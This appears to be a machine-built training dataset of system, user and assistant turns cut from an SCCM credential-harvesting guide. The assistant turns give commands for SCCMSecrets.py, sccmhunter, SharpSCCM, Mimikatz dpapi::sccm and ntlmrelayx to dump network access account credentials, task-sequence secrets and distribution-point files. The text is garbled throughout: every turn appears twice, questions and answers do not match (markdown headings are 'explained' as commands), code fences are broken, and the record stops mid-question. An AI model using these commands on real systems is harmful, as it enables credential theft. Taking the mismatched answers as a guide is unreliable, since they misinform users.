[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through HTTPS with client certificate

[Assistant]
Finally, this attack was first inspired by @xpn_'s work (refer to [this blogpost](https://blog.xpnsec.com/unobfuscating-network-access-accounts/)). The tool associated with the blogpost, [sccmwtf](https://github.com/xpn/sccmwtf) (Python), is available on Github. It can be used to perform the attack, however with two limitations: it will only dump the NAA secret policy, and it might fail on recent SCCM installations since the encryption algorithm changed.

The [sccmhunter](https://github.com/garrettfoster13/sccmhunter) (Python) tool also implements `sccmwtf`, but with the same limitations.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through HTTPS with client certificate

Response:
Finally, this attack was first inspired by @xpn_'s work (refer to [this blogpost](https://blog.xpnsec.com/unobfuscating-network-access-accounts/)). The tool associated with the blogpost, [sccmwtf](https://github.com/xpn/sccmwtf) (Python), is available on Github. It can be used to perform the attack, however with two limitations: it will only dump the NAA secret policy, and it might fail on recent SCCM installations since the encryption algorithm changed.

The [sccmhunter](https://github.com/garrettfoster13/sccmhunter) (Python) tool also implements `sccmwtf`, but with the same limitations.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on HTTPS with client certificate

[Assistant]
=== Windows-based

On Windows, [SharpSCCM](https://github.com/Mayyhem/SharpSCCM) (C#) can be used to register a device and dump secret policies. All secret policies associated with the default collections for the newly registered device (including NAAs, Task sequences and collection variables) will be dumped.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on HTTPS with client certificate

Response:
=== Windows-based

On Windows, [SharpSCCM](https://github.com/Mayyhem/SharpSCCM) (C#) can be used to register a device and dump secret policies. All secret policies associated with the default collections for the newly registered device (including NAAs, Task sequences and collection variables) will be dumped.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `=== Windows-based`?

[Assistant] This command is used for https with client certificate. HTTPS with client certificate

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `=== Windows-based`?

Response: This command is used for https with client certificate. HTTPS with client certificate


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for HTTPS with client certificate

[Assistant]
:::

Instead of registering a new device, it is also possible to **use an already compromised SCCM device** in order to dump secret policies. Note that this can also be interesting as the compromised device may be part of specific device collections associated with more task sequences or collection variables than the default collections we dumped by registering a device ourselves.

::: tabs

=== Unix-based

In order to use a compromised SCCM device, it is first necessary to **extract the SCCM certificates** from the machine. More details on how to do this [here](https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial#part_4).

With the SCCM device private key and GUID, [SCCMSecrets.py](https://github.com/synacktiv/SCCMSecrets/) (Python) can be used to impersonate the device and dump secret policies (in the example below, the `compromised_device/` folder contains the `key.pem` and `guid.txt` files).

All secret policies associated with the compromised device's collections (including NAAs, Task sequences and collection variables) will be dumped.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for HTTPS with client certificate

Response:
:::

Instead of registering a new device, it is also possible to **use an already compromised SCCM device** in order to dump secret policies. Note that this can also be interesting as the compromised device may be part of specific device collections associated with more task sequences or collection variables than the default collections we dumped by registering a device ourselves.

::: tabs

=== Unix-based

In order to use a compromised SCCM device, it is first necessary to **extract the SCCM certificates** from the machine. More details on how to do this [here](https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial#part_4).

With the SCCM device private key and GUID, [SCCMSecrets.py](https://github.com/synacktiv/SCCMSecrets/) (Python) can be used to impersonate the device and dump secret policies (in the example below, the `compromised_device/` folder contains the `key.pem` and `guid.txt` files).

All secret policies associated with the compromised device's collections (including NAAs, Task sequences and collection variables) will be dumped.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `:::`?

[Assistant] This command is used for https with client certificate. HTTPS with client certificate

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for https with client certificate. HTTPS with client certificate


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Plain HTTP

[Assistant] python3 SCCMSecrets.py policies -mp http://$MP_IP --use-existing-device compromised_device/

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: python3 SCCMSecrets.py policies -mp http://$MP_IP --use-existing-device compromised_device/


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Plain HTTP

[Assistant] python3 SCCMSecrets.py policies -mp http://$MP_IP --use-existing-device compromised_device/

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Plain HTTP

Response: python3 SCCMSecrets.py policies -mp http://$MP_IP --use-existing-device compromised_device/


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about HTTPS with client certificate authentication?

[Assistant]
python3 SCCMSecrets.py policies -mp http://$MP_IP --use-existing-device compromised_device/ --pki-cert cert.pem --pki-key key.pem
``

=== Windows-based

From a local administrator access on the machine of a compromised SCCM device, SharpSCCM (C#) can be executed to use the local SCCM device and dump secret policies.

All secret policies associated with the compromised device's collections (including NAAs, Task sequences and collection variables) will be dumped.

`powershell
.\SharpSCCM.exe get secrets
`

:::

Finally, it should be mentioned that SCCM policies secrets (NAA, Task Sequences, Collection variables) are stored on the disk of SCCM clients, encrypted with DPAPI. Interestingly enough regarding NAA, even after deleting or changing the NAA in the SCCM configuration, the binary file still contains the encrypted credentials on the enrolled computers (see this SpecterOps article). The same behaviour can be observed for Task sequences and Collection variables.

As a result, it is possible to retrieve policies secrets locally on compromised devices.

::: tabs

=== UNIX-based

Using a local administrator account, SystemDPAPIdump.py (Python) can be used to fetch and decrypt SCCM policies secrets locally, as well as sccmhunter.py (Python).

`bash
SystemDPAPIdump.py -creds -sccm $DOMAIN/$USER:$PASSWORD@target.$DOMAIN
`

`bash
python3 sccmhunter.py dpapi -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -target $TARGET -wmi
`

=== Windows-based

With administrative access to a Windows machine enrolled in the SCCM environment, SharpSCCM (C#), SharpDPAPI (C#), Mimikatz (C) or native PowerShell can be used to extract policies secrets locally.

``powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about HTTPS with client certificate authentication?

Response:
python3 SCCMSecrets.py policies -mp http://$MP_IP --use-existing-device compromised_device/ --pki-cert cert.pem --pki-key key.pem
``

=== Windows-based

From a local administrator access on the machine of a compromised SCCM device, SharpSCCM (C#) can be executed to use the local SCCM device and dump secret policies.

All secret policies associated with the compromised device's collections (including NAAs, Task sequences and collection variables) will be dumped.

`powershell
.\SharpSCCM.exe get secrets
`

:::

Finally, it should be mentioned that SCCM policies secrets (NAA, Task Sequences, Collection variables) are stored on the disk of SCCM clients, encrypted with DPAPI. Interestingly enough regarding NAA, even after deleting or changing the NAA in the SCCM configuration, the binary file still contains the encrypted credentials on the enrolled computers (see this SpecterOps article). The same behaviour can be observed for Task sequences and Collection variables.

As a result, it is possible to retrieve policies secrets locally on compromised devices.

::: tabs

=== UNIX-based

Using a local administrator account, SystemDPAPIdump.py (Python) can be used to fetch and decrypt SCCM policies secrets locally, as well as sccmhunter.py (Python).

`bash
SystemDPAPIdump.py -creds -sccm $DOMAIN/$USER:$PASSWORD@target.$DOMAIN
`

`bash
python3 sccmhunter.py dpapi -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -target $TARGET -wmi
`

=== Windows-based

With administrative access to a Windows machine enrolled in the SCCM environment, SharpSCCM (C#), SharpDPAPI (C#), Mimikatz (C) or native PowerShell can be used to extract policies secrets locally.

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for HTTPS with client certificate authentication

[Assistant]
python3 SCCMSecrets.py policies -mp http://$MP_IP --use-existing-device compromised_device/ --pki-cert cert.pem --pki-key key.pem
``

=== Windows-based

From a local administrator access on the machine of a compromised SCCM device, SharpSCCM (C#) can be executed to use the local SCCM device and dump secret policies.

All secret policies associated with the compromised device's collections (including NAAs, Task sequences and collection variables) will be dumped.

`powershell
.\SharpSCCM.exe get secrets
`

:::

Finally, it should be mentioned that SCCM policies secrets (NAA, Task Sequences, Collection variables) are stored on the disk of SCCM clients, encrypted with DPAPI. Interestingly enough regarding NAA, even after deleting or changing the NAA in the SCCM configuration, the binary file still contains the encrypted credentials on the enrolled computers (see this SpecterOps article). The same behaviour can be observed for Task sequences and Collection variables.

As a result, it is possible to retrieve policies secrets locally on compromised devices.

::: tabs

=== UNIX-based

Using a local administrator account, SystemDPAPIdump.py (Python) can be used to fetch and decrypt SCCM policies secrets locally, as well as sccmhunter.py (Python).

`bash
SystemDPAPIdump.py -creds -sccm $DOMAIN/$USER:$PASSWORD@target.$DOMAIN
`

`bash
python3 sccmhunter.py dpapi -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -target $TARGET -wmi
`

=== Windows-based

With administrative access to a Windows machine enrolled in the SCCM environment, SharpSCCM (C#), SharpDPAPI (C#), Mimikatz (C) or native PowerShell can be used to extract policies secrets locally.

``powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for HTTPS with client certificate authentication

Response:
python3 SCCMSecrets.py policies -mp http://$MP_IP --use-existing-device compromised_device/ --pki-cert cert.pem --pki-key key.pem
``

=== Windows-based

From a local administrator access on the machine of a compromised SCCM device, SharpSCCM (C#) can be executed to use the local SCCM device and dump secret policies.

All secret policies associated with the compromised device's collections (including NAAs, Task sequences and collection variables) will be dumped.

`powershell
.\SharpSCCM.exe get secrets
`

:::

Finally, it should be mentioned that SCCM policies secrets (NAA, Task Sequences, Collection variables) are stored on the disk of SCCM clients, encrypted with DPAPI. Interestingly enough regarding NAA, even after deleting or changing the NAA in the SCCM configuration, the binary file still contains the encrypted credentials on the enrolled computers (see this SpecterOps article). The same behaviour can be observed for Task sequences and Collection variables.

As a result, it is possible to retrieve policies secrets locally on compromised devices.

::: tabs

=== UNIX-based

Using a local administrator account, SystemDPAPIdump.py (Python) can be used to fetch and decrypt SCCM policies secrets locally, as well as sccmhunter.py (Python).

`bash
SystemDPAPIdump.py -creds -sccm $DOMAIN/$USER:$PASSWORD@target.$DOMAIN
`

`bash
python3 sccmhunter.py dpapi -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -target $TARGET -wmi
`

=== Windows-based

With administrative access to a Windows machine enrolled in the SCCM environment, SharpSCCM (C#), SharpDPAPI (C#), Mimikatz (C) or native PowerShell can be used to extract policies secrets locally.

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for HTTPS with client certificate authentication?

[Assistant]
=== Windows-based

From a local administrator access on the machine of a compromised SCCM device, [SharpSCCM](https://github.com/Mayyhem/SharpSCCM) (C#) can be executed to use the local SCCM device and dump secret policies.

All secret policies associated with the compromised device's collections (including NAAs, Task sequences and collection variables) will be dumped.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for HTTPS with client certificate authentication?

Response:
=== Windows-based

From a local administrator access on the machine of a compromised SCCM device, [SharpSCCM](https://github.com/Mayyhem/SharpSCCM) (C#) can be executed to use the local SCCM device and dump secret policies.

All secret policies associated with the compromised device's collections (including NAAs, Task sequences and collection variables) will be dumped.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `=== Windows-based`?

[Assistant] This command is used for https with client certificate authentication. HTTPS with client certificate authentication

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for https with client certificate authentication. HTTPS with client certificate authentication


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute HTTPS with client certificate authentication?

[Assistant]
:::

Finally, it should be mentioned that SCCM policies secrets (NAA, Task Sequences, Collection variables) are stored on the disk of SCCM clients, encrypted with DPAPI. Interestingly enough regarding NAA, even after deleting or changing the NAA in the SCCM configuration, the binary file still contains the encrypted credentials on the enrolled computers (see [this SpecterOps article](https://posts.specterops.io/the-phantom-credentials-of-sccm-why-the-naa-wont-die-332ac7aa1ab9)). The same behaviour can be observed for Task sequences and Collection variables.

As a result, it is possible to retrieve policies secrets **locally** on compromised devices.

::: tabs

=== UNIX-based

Using a local administrator account, [SystemDPAPIdump.py](https://github.com/fortra/impacket/pull/1137) (Python) can be used to fetch and decrypt SCCM policies secrets locally, as well as [sccmhunter.py](https://github.com/garrettfoster13/sccmhunter) (Python).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute HTTPS with client certificate authentication?

Response:
:::

Finally, it should be mentioned that SCCM policies secrets (NAA, Task Sequences, Collection variables) are stored on the disk of SCCM clients, encrypted with DPAPI. Interestingly enough regarding NAA, even after deleting or changing the NAA in the SCCM configuration, the binary file still contains the encrypted credentials on the enrolled computers (see [this SpecterOps article](https://posts.specterops.io/the-phantom-credentials-of-sccm-why-the-naa-wont-die-332ac7aa1ab9)). The same behaviour can be observed for Task sequences and Collection variables.

As a result, it is possible to retrieve policies secrets **locally** on compromised devices.

::: tabs

=== UNIX-based

Using a local administrator account, [SystemDPAPIdump.py](https://github.com/fortra/impacket/pull/1137) (Python) can be used to fetch and decrypt SCCM policies secrets locally, as well as [sccmhunter.py](https://github.com/garrettfoster13/sccmhunter) (Python).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `:::`?

[Assistant] This command is used for https with client certificate authentication. HTTPS with client certificate authentication

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for https with client certificate authentication. HTTPS with client certificate authentication


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on HTTPS with client certificate authentication

[Assistant]
```bash
python3 sccmhunter.py dpapi -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -target $TARGET -wmi

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on HTTPS with client certificate authentication

Response:
```bash
python3 sccmhunter.py dpapi -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -target $TARGET -wmi


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: ````bash`?

[Assistant] This command is used for https with client certificate authentication. HTTPS with client certificate authentication

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for https with client certificate authentication. HTTPS with client certificate authentication


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Mimikatz?

[Assistant]
mimikatz.exe
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # dpapi::sccm

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
mimikatz.exe
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # dpapi::sccm


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Mimikatz?

[Assistant]
mimikatz.exe
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # dpapi::sccm

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
mimikatz.exe
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # dpapi::sccm


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Native Powershell?

[Assistant]
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_NetworkAccessAccount
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_TaskSequence
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_CollectionVariable
```

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_NetworkAccessAccount
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_TaskSequence
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_CollectionVariable
```

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Native Powershell?

[Assistant]
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_NetworkAccessAccount
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_TaskSequence
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_CollectionVariable
```

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_NetworkAccessAccount
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_TaskSequence
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_CollectionVariable
```

:::


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Credential harvesting - Distribution Point resources

[Assistant]
By default, any authenticated user can retrieve Distribution Point resources which may contain secrets.

Resources can be downloaded through the SMB or HTTP protocols.

As previously mentioned, note that if anonymous access was configured on a Distribution Point, only the HTTP protocol can be used to download files without any credentials.

::: tabs

=== UNIX-based

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain Credential harvesting - Distribution Point resources

Response:
By default, any authenticated user can retrieve Distribution Point resources which may contain secrets.

Resources can be downloaded through the SMB or HTTP protocols.

As previously mentioned, note that if anonymous access was configured on a Distribution Point, only the HTTP protocol can be used to download files without any credentials.

::: tabs

=== UNIX-based


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Credential harvesting - Distribution Point resources

[Assistant]
By default, any authenticated user can retrieve Distribution Point resources which may contain secrets.

Resources can be downloaded through the SMB or HTTP protocols.

As previously mentioned, note that if anonymous access was configured on a Distribution Point, only the HTTP protocol can be used to download files without any credentials.

::: tabs

=== UNIX-based

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Credential harvesting - Distribution Point resources

Response:
By default, any authenticated user can retrieve Distribution Point resources which may contain secrets.

Resources can be downloaded through the SMB or HTTP protocols.

As previously mentioned, note that if anonymous access was configured on a Distribution Point, only the HTTP protocol can be used to download files without any credentials.

::: tabs

=== UNIX-based


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Credential harvesting - HTTP

[Assistant]
Regarding the HTTP protocol on Unix, SCCMSecrets.py (Python) can be used to index and download files from Distribution Points.

Not providing any credentials will attempt to exploit anonymous access on the Distribution Point. HTTPS and client authentication is also supported by this tool.

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Credential harvesting - HTTP

Response:
Regarding the HTTP protocol on Unix, SCCMSecrets.py (Python) can be used to index and download files from Distribution Points.

Not providing any credentials will attempt to exploit anonymous access on the Distribution Point. HTTPS and client authentication is also supported by this tool.

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Credential harvesting - HTTP during a pentest?

[Assistant]
Regarding the HTTP protocol on Unix, SCCMSecrets.py (Python) can be used to index and download files from Distribution Points.

Not providing any credentials will attempt to exploit anonymous access on the Distribution Point. HTTPS and client authentication is also supported by this tool.

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Credential harvesting - HTTP during a pentest?

Response:
Regarding the HTTP protocol on Unix, SCCMSecrets.py (Python) can be used to index and download files from Distribution Points.

Not providing any credentials will attempt to exploit anonymous access on the Distribution Point. HTTPS and client authentication is also supported by this tool.

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Downloads files with specific extensions?

[Assistant] python3 SCCMSecrets.py files -dp http://$DP_IP -u '$USER' -H '$HASH' --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Downloads files with specific extensions?

Response: python3 SCCMSecrets.py files -dp http://$DP_IP -u '$USER' -H '$HASH' --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Downloads files with specific extensions during a pentest?

[Assistant] python3 SCCMSecrets.py files -dp http://$DP_IP -u '$USER' -H '$HASH' --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Downloads files with specific extensions during a pentest?

Response: python3 SCCMSecrets.py files -dp http://$DP_IP -u '$USER' -H '$HASH' --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Having indexed files first, downloads specific files from the Distribution Point

[Assistant] python3 SCCMSecrets.py files -dp http://$DP_IP -u '$USER' -p '$PASSWORD' --urls to_download.lst

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain Having indexed files first, downloads specific files from the Distribution Point

Response: python3 SCCMSecrets.py files -dp http://$DP_IP -u '$USER' -p '$PASSWORD' --urls to_download.lst


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Having indexed files first, downloads specific files from the Distribution Point?

[Assistant] python3 SCCMSecrets.py files -dp http://$DP_IP -u '$USER' -p '$PASSWORD' --urls to_download.lst

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Having indexed files first, downloads specific files from the Distribution Point?

Response: python3 SCCMSecrets.py files -dp http://$DP_IP -u '$USER' -p '$PASSWORD' --urls to_download.lst


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Perform file dump attack via HTTPS and client certificate authentication work?

[Assistant]
python3 SCCMSecrets.py files -dp https://$DP_IP -u '$USER' -p '$PASSWORD' --pki-cert ./cert.pem --pki-key ./key.pem
``

If anonymous access is enabled on the Distribution Point, sccm-http-looter (Golang) can also be used. It may be faster as it is written in Golang.

`bash
./sccm-http-looter -server 10.10.10.10
`

This attack is also possible via NTLM relay if you are able to relay the authentication data of a domain account.
`bash
python3 examples/ntlmrelayx.py -t 'http://mecm.sccm.lab/sms_dp_smspkg$/Datalib' -smb2support --sccm-dp -debug
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Perform file dump attack via HTTPS and client certificate authentication work?

Response:
python3 SCCMSecrets.py files -dp https://$DP_IP -u '$USER' -p '$PASSWORD' --pki-cert ./cert.pem --pki-key ./key.pem
``

If anonymous access is enabled on the Distribution Point, sccm-http-looter (Golang) can also be used. It may be faster as it is written in Golang.

`bash
./sccm-http-looter -server 10.10.10.10
`

This attack is also possible via NTLM relay if you are able to relay the authentication data of a domain account.
`bash
python3 examples/ntlmrelayx.py -t 'http://mecm.sccm.lab/sms_dp_smspkg$/Datalib' -smb2support --sccm-dp -debug
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Perform file dump attack via HTTPS and client certificate authentication

[Assistant]
python3 SCCMSecrets.py files -dp https://$DP_IP -u '$USER' -p '$PASSWORD' --pki-cert ./cert.pem --pki-key ./key.pem
``

If anonymous access is enabled on the Distribution Point, sccm-http-looter (Golang) can also be used. It may be faster as it is written in Golang.

`bash
./sccm-http-looter -server 10.10.10.10
`

This attack is also possible via NTLM relay if you are able to relay the authentication data of a domain account.
`bash
python3 examples/ntlmrelayx.py -t 'http://mecm.sccm.lab/sms_dp_smspkg$/Datalib' -smb2support --sccm-dp -debug
``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Perform file dump attack via HTTPS and client certificate authentication

Response:
python3 SCCMSecrets.py files -dp https://$DP_IP -u '$USER' -p '$PASSWORD' --pki-cert ./cert.pem --pki-key ./key.pem
``

If anonymous access is enabled on the Distribution Point, sccm-http-looter (Golang) can also be used. It may be faster as it is written in Golang.

`bash
./sccm-http-looter -server 10.10.10.10
`

This attack is also possible via NTLM relay if you are able to relay the authentication data of a domain account.
`bash
python3 examples/ntlmrelayx.py -t 'http://mecm.sccm.lab/sms_dp_smspkg$/Datalib' -smb2support --sccm-dp -debug
``


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the If command for perform file dump attack via https and client certificate authentication

